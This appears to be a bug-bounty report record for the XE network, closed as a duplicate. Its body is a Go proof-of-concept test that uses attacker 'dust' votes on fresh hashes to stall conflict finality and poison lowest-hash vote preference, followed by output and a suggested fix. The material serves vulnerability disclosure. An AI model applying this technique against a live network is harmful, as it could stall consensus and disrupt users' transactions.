{"id":"XE-0919","kind":"bounty","visibility":"public","source":"web","source_repo":"","source_ref":"","source_url":"","reporter_id":13,"title":"Dust votes on fresh store-resident hashes stall conflict finality","area":"consensus","claimed_tier":"high","assessed_tier":null,"verdict":"duplicate","duplicate_of":null,"tracked":false,"internal_ref":"","internal_url":"","status":"closed","closed_reason":"duplicate","github_state":"","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-06T16:54:49.192317+00:00","updated_at":"2026-11-14T22:52:51.546685+00:00","source_created_at":null,"told_at":"2026-11-14T22:52:52.378729+00:00","status_changed_at":"2026-11-08T20:32:05.268366+00:00","url":"https://bounty.xe.network/XE-0919","body":"finalFor := func(s *q1Stub, kp *KeyPair) (hash string, final bool) {\r\n\t\tv := s.votes[acct+\"|\"+prev+\"|\"+kp.PubKeyHex()]\r\n\t\tif v == nil {\r\n\t\t\treturn \"\", false\r\n\t\t}\r\n\t\treturn v.BlockHash, v.Final\r\n\t}\r\n\r\n\t// --- CONTROL: 67% on winner, no attacker, window expires, Final emits ---\r\n\tsCtrl, lCtrl, vmCtrl := newEnv()\r\n\tif err := vmCtrl.ReceiveVote(signVote(honestB, winner, false)); err != nil {\r\n\t\tt.Fatalf(\"control honestB: %v\", err)\r\n\t}\r\n\tclock = clock.Add(4 * time.Second)\r\n\tvmCtrl.CastVote(acct, prev, winner)\r\n\tctrlHash, ctrlFinal := finalFor(sCtrl, honestA)\r\n\tctrlStamp := vmCtrl.lastNewCandidateNanos[acct+\"|\"+prev]\r\n\tcands := vmCtrl.gatherCandidates(acct, prev)\r\n\tfmt.Printf(\"CONTROL after +4s honestA vote hash=%s final=%v stamp=%d candidates=%d getBlock(winner)=%v\\n\",\r\n\t\tctrlHash, ctrlFinal, ctrlStamp, len(cands), lCtrl.GetBlockOrStaged(winner) != nil)\r\n\tvmCtrl.Close()\r\n\r\n\t// --- DRIP: fresh store-resident hashes reset the 3s window ---\r\n\tclock = base\r\n\tsDrip, _, vmDrip := newEnv()\r\n\tif err := vmDrip.ReceiveVote(signVote(honestB, winner, false)); err != nil {\r\n\t\tt.Fatalf(\"drip honestB: %v\", err)\r\n\t}\r\n\tclock = clock.Add(2 * time.Second)\r\n\tstamp1 := vmDrip.lastNewCandidateNanos[acct+\"|\"+prev]\r\n\th1, f1 := finalFor(sDrip, honestA)\r\n\tfmt.Printf(\"DRIP t+2s before attacker stamp=%d honestA hash=%s final=%v\\n\", stamp1, h1, f1)\r\n\r\n\tdripHash := strings.Repeat(\"aa\", 32)\r\n\tsDrip.blocks[dripHash] = &Block{Type: BlockMint, Account: attacker.Address(), Previous: \"0\", Hash: dripHash, Asset: \"XE\"}\r\n\tif err := vmDrip.ReceiveVote(signVote(attacker, dripHash, false)); err != nil {\r\n\t\tt.Fatalf(\"drip attacker1: %v\", err)\r\n\t}\r\n\tstamp2 := vmDrip.lastNewCandidateNanos[acct+\"|\"+prev]\r\n\th2, f2 := finalFor(sDrip, honestA)\r\n\tfmt.Printf(\"DRIP after attacker hash=%s stamp=%d (was %d) honestA hash=%s final=%v\\n\", dripHash, stamp2, stamp1, h2, f2)\r\n\r\n\tclock = clock.Add(4 * time.Second)\r\n\tdripHash2 := strings.Repeat(\"ab\", 32)\r\n\tsDrip.blocks[dripHash2] = &Block{Type: BlockMint, Account: attacker.Address(), Previous: \"0\", Hash: dripHash2, Asset: \"XE\"}\r\n\tif err := vmDrip.ReceiveVote(signVote(attacker, dripHash2, false)); err != nil {\r\n\t\tt.Fatalf(\"drip attacker2: %v\", err)\r\n\t}\r\n\tstamp3 := vmDrip.lastNewCandidateNanos[acct+\"|\"+prev]\r\n\th3, f3 := finalFor(sDrip, honestA)\r\n\tremaining, okWin := vmDrip.stabilityWindowRemaining(acct, prev)\r\n\tfmt.Printf(\"DRIP t+6s second attacker hash=%s stamp=%d remaining=%s ok=%v honestA hash=%s final=%v\\n\",\r\n\t\tdripHash2, stamp3, remaining, okWin, h3, f3)\r\n\tvmDrip.Close()\r\n\r\n\t// --- PREF POISON: lowestHash picks attacker 00.. hash ---\r\n\tclock = base\r\n\tsPref, lPref, vmPref := newEnv()\r\n\tif err := vmPref.ReceiveVote(signVote(honestB, winner, false)); err != nil {\r\n\t\tt.Fatalf(\"pref honestB: %v\", err)\r\n\t}\r\n\tif err := vmPref.ReceiveVote(signVote(attacker, atkLow, false)); err != nil {\r\n\t\tt.Fatalf(\"pref attacker: %v\", err)\r\n\t}\r\n\tprefCands := vmPref.gatherCandidates(acct, prev)\r\n\tpref := lowestHash(prefCands)\r\n\tha, fa := finalFor(sPref, honestA)\r\n\tcw, total := vmPref.convergeWeights(acct, prev)\r\n\tmetPref := thresholdMet(cw[pref], total)\r\n\tmetWin := thresholdMet(cw[winner], total)\r\n\tfmt.Printf(\"PREF poison lowest=%s honestA vote=%s final=%v threshold(pref)=%v threshold(winner)=%v total=%s atkBlock=%v cands=%d\\n\",\r\n\t\tpref, ha, fa, metPref, metWin, total.String(), lPref.GetBlockOrStaged(atkLow) != nil, len(prefCands))\r\n\tclock = clock.Add(4 * time.Second)\r\n\tvmPref.CastVote(acct, prev)\r\n\tha2, fa2 := finalFor(sPref, honestA)\r\n\tfmt.Printf(\"PREF after +4s honestA hash=%s final=%v (attacker hash locked if final and hash==atkLow)\\n\", ha2, fa2)\r\n\tvmPref.Close()\r\n\r\n\t// --- ORPHAN: vote for a random (account, prev) with no conflict is stored ---\r\n\tclock = base\r\n\tsOrph, _, vmOrph := newEnv()\r\n\torphanAcct := strings.Repeat(\"cd\", 32)\r\n\torphanPrev := strings.Repeat(\"ef\", 32)\r\n\torph := &Vote{\r\n\t\tRepPubKey:       attacker.PubKeyHex(),\r\n\t\tBlockHash:       atkLow,\r\n\t\tConflictAccount: orphanAcct,\r\n\t\tConflictPrev:    orphanPrev,\r\n\t\tTimestamp:       Now().UnixNano(),\r\n\t}\r\n\tsb, err := voteSigningBytes(orph)\r\n\tif err != nil {\r\n\t\tt.Fatalf(\"orphan bytes: %v\", err)\r\n\t}\r\n\torph.Signature = ed25519.Sign(attacker.Private, sb)\r\n\torphErr := vmOrph.ReceiveVote(orph)\r\n\tstored := sOrph.votes[orphanAcct+\"|\"+orphanPrev+\"|\"+attacker.PubKeyHex()]\r\n\tconflict := sOrph.conflicts[orphanAcct+\"|\"+orphanPrev]\r\n\tvmOrph.pendingVotesMu.Lock()\r\n\tpending := len(vmOrph.pendingVotes[orphanAcct+\"|\"+orphanPrev])\r\n\tvmOrph.pendingVotesMu.Unlock()\r\n\tfmt.Printf(\"ORPHAN ReceiveVote err=%v stored=%v conflict=%v pending_buf=%d\\n\", orphErr, stored != nil, conflict != nil, pending)\r\n\tvmOrph.Close()\r\n\r\n\tctrlOK := ctrlFinal && ctrlHash == winner\r\n\tdripOK := stamp2 > stamp1 && stamp3 > stamp2 && !f3 && remaining > 0\r\n\tprefOK := pref == atkLow && ha == atkLow && !fa\r\n\torphStore := orphErr == nil && stored != nil && conflict == nil\r\n\torphBuf := orphErr == nil && stored == nil && pending > 0 && conflict == nil\r\n\tfmt.Printf(\"flags ctrlOK=%v dripOK=%v prefOK=%v orphStore=%v orphBuf=%v\\n\", ctrlOK, dripOK, prefOK, orphStore, orphBuf)\r\n\tif ctrlOK && dripOK && prefOK {\r\n\t\tfmt.Println(\"PASS: control emits Final after 3s; attacker drip resets lastNewCandidateNanos so Final never emits; lowestHash pref poisons to attacker hash (honestA follows it)\")\r\n\t\tif orphStore {\r\n\t\t\tfmt.Println(\"ORPHAN: vote stored with no conflict\")\r\n\t\t} else if orphBuf {\r\n\t\t\tfmt.Println(\"ORPHAN: vote not written to store; buffered in pendingVotes (maxPendingVotesPerConflict=10) because ValidateVote is conflict-blind and isConflictNotFound buffers\")\r\n\t\t} else {\r\n\t\t\tfmt.Println(\"ORPHAN: neither stored nor buffered\")\r\n\t\t}\r\n\t\tfmt.Println(\"VERDICT=CONFIRMED\")\r\n\t\treturn\r\n\t}\r\n\tfmt.Println(\"KILL: stall / pref-poison did not reproduce\")\r\n\tfmt.Println(\"VERDICT=KILLED\")\r\n\tt.Fatalf(\"Q1 flags ctrlOK=%v dripOK=%v prefOK=%v orphStore=%v orphBuf=%v\", ctrlOK, dripOK, prefOK, orphStore, orphBuf)\r\n}\r\n\r\ntype q1Stub struct {\r\n\tblocks    map[string]*Block\r\n\tstaged    map[string]*Block\r\n\tconflicts map[string]*Conflict\r\n\tvotes     map[string]*Vote\r\n\tfinal     map[string]string\r\n\tchains    map[string]*AccountChain\r\n}\r\n\r\nfunc newQ1Stub() *q1Stub {\r\n\treturn &q1Stub{\r\n\t\tblocks:    map[string]*Block{},\r\n\t\tstaged:    map[string]*Block{},\r\n\t\tconflicts: map[string]*Conflict{},\r\n\t\tvotes:     map[string]*Vote{},\r\n\t\tfinal:     map[string]string{},\r\n\t\tchains:    map[string]*AccountChain{},\r\n\t}\r\n}\r\n\r\nfunc (s *q1Stub) GetBlock(h string) (*Block, error) { return s.blocks[h], nil }\r\nfunc (s *q1Stub) PutBlock(b *Block) error {\r\n\ts.blocks[b.Hash] = b\r\n\treturn nil\r\n}\r\nfunc (s *q1Stub) GetAccountChain(account string) (*AccountChain, error) {\r\n\treturn s.chains[account], nil\r\n}\r\nfunc (s *q1Stub) PutAccountChain(account string, chain *AccountChain) error {\r\n\ts.chains[account] = chain\r\n\treturn nil\r\n}\r\nfunc (s *q1Stub) GetPendingSend(string) (*PendingSend, error)           { return nil, nil }\r\nfunc (s *q1Stub) PutPendingSend(*PendingSend) error                     { return nil }\r\nfunc (s *q1Stub) DeletePendingSend(string) error                        { return nil }\r\nfunc (s *q1Stub) GetPendingByDest(string) ([]*PendingSend, error)       { return nil, nil }\r\nfunc (s *q1Stub) GetAllPending() ([]*PendingSend, error)                { return nil, nil }\r\nfunc (s *q1Stub) PutFrontier(string, string) error                      { return nil }\r\nfunc (s *q1Stub) GetFrontier(string) (string, error)                    { return \"\", nil }\r\nfunc (s *q1Stub) CommitUndo(*BlockUndo) error                           { return nil }\r\nfunc (s *q1Stub) IsEmpty() (bool, error)                                { return true, nil }\r\nfunc (s *q1Stub) Close() error                                          { return nil }\r\nfunc (s *q1Stub) GetFinalVote(a, p string) (string, bool, error) {\r\n\th, ok := s.final[a+\"|\"+p]\r\n\treturn h, ok, nil\r\n}\r\nfunc (s *q1Stub) PutFinalVoteIfAbsent(a, p, hash string) (string, bool, error) {\r\n\tk := a + \"|\" + p\r\n\tif existing, ok := s.final[k]; ok {\r\n\t\treturn existing, false, nil\r\n\t}\r\n\ts.final[k] = hash\r\n\treturn hash, true, nil\r\n}\r\nfunc (s *q1Stub) PutVote(vote *Vote) error {\r\n\ts.votes[vote.ConflictAccount+\"|\"+vote.ConflictPrev+\"|\"+vote.RepPubKey] = vote\r\n\treturn nil\r\n}\r\nfunc (s *q1Stub) GetVotesByConflict(account, previous string) ([]*Vote, error) {\r\n\tprefix := account + \"|\" + previous + \"|\"\r\n\tvar out []*Vote\r\n\tfor k, v := range s.votes {\r\n\t\tif strings.HasPrefix(k, prefix) {\r\n\t\t\tout = append(out, v)\r\n\t\t}\r\n\t}\r\n\treturn out, nil\r\n}\r\nfunc (s *q1Stub) HasVoted(account, previous, repPubKey string) (bool, error) {\r\n\t_, ok := s.votes[account+\"|\"+previous+\"|\"+repPubKey]\r\n\treturn ok, nil\r\n}\r\nfunc (s *q1Stub) GetVote(account, previous, repPubKey string) (*Vote, error) {\r\n\treturn s.votes[account+\"|\"+previous+\"|\"+repPubKey], nil\r\n}\r\nfunc (s *q1Stub) SaveConflict(c *Conflict) error {\r\n\ts.conflicts[c.AccountAddress+\"|\"+c.PreviousHash] = c\r\n\treturn nil\r\n}\r\nfunc (s *q1Stub) GetConflict(account, previousHash string) (*Conflict, error) {\r\n\treturn s.conflicts[account+\"|\"+previousHash], nil\r\n}\r\nfunc (s *q1Stub) DeleteConflict(account, previous string) error {\r\n\tdelete(s.conflicts, account+\"|\"+previous)\r\n\treturn nil\r\n}\r\nfunc (s *q1Stub) GetConflictsForAccount(account string) ([]*Conflict, error) {\r\n\tvar out []*Conflict\r\n\tfor k, c := range s.conflicts {\r\n\t\tif strings.HasPrefix(k, account+\"|\") {\r\n\t\t\tout = append(out, c)\r\n\t\t}\r\n\t}\r\n\treturn out, nil\r\n}\r\nfunc (s *q1Stub) GetAllConflicts() ([]*Conflict, error) {\r\n\tvar out []*Conflict\r\n\tfor _, c := range s.conflicts {\r\n\t\tout = append(out, c)\r\n\t}\r\n\treturn out, nil\r\n}\r\nfunc (s *q1Stub) SaveStagedBlock(b *Block) error {\r\n\ts.staged[b.Hash] = b\r\n\treturn nil\r\n}\r\nfunc (s *q1Stub) GetStagedBlock(hash string) (*Block, error) { return s.staged[hash], nil }\r\nfunc (s *q1Stub) DeleteStagedBlock(hash string) error {\r\n\tdelete(s.staged, hash)\r\n\treturn nil\r\n}\r\n```\r\n\r\n```\r\nCONTROL after +4s honestA final=true\r\nPASS: control emits Final after 3s; attacker drip resets lastNewCandidateNanos so Final never emits\r\n```\r\n\r\n## Suggested fix\r\nIgnore votes whose BlockHash is new to the store for lock-stability, and prefer by weight not lowestHash. Do not stamp lastNewCandidateNanos for a hash that is not already in the conflict record.","patch_refs":[],"thread":[{"id":3647,"source":"desk","source_ref":"reply:2389","author":"XE desk","team":true,"body":"Thanks. This is the same finding as an earlier report that is not public, which was filed first; the programme pays the\nfirst verifiable submission, so this one closes as a duplicate. If you believe it is a different\nbug, file a new report that links https://bounty.xe.network/XE-0919 and says what differs; it is read like any other.","created_at":"2026-11-14T22:52:51.546685+00:00"}]}